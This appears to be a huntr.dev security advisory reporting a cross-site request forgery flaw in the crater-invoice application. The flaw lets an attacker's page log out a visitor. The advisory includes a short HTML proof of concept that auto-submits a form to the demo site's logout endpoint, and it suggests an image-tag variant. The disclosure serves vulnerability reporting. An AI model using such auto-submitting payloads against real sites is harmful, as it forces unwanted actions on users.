Lucene search

K
huntrKhanhchauminhEFB93F1F-1896-4A4C-A059-9ECADAC1C4DE
HistoryJan 27, 2022 - 4:07 a.m.

Cross-Site Request Forgery (CSRF) in crater-invoice/crater

2022-01-2704:07:48
khanhchauminh
www.huntr.dev
39
csrf
crater-invoice
unintentional logout
security vulnerability

EPSS

0.001

Percentile

30.0%

Description

An attacker is able to log out a user if a logged-in user visits the attacker’s website.

Proof of Concept

<html>
	<body>
	<script>history.pushState('', '', '/')</script>
		<form action="https://demo.craterapp.com/auth/logout">
			<input type="submit" value="Submit request" />
		</form>
		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>

Impact

This vulnerability is capable of forging users to unintentional logout.

More details

One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>" anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token.

Note

While this cannot harm a user’s account, it can be a great annoyance and is a valid CSRF.

EPSS

0.001

Percentile

30.0%

Related for EFB93F1F-1896-4A4C-A059-9ECADAC1C4DE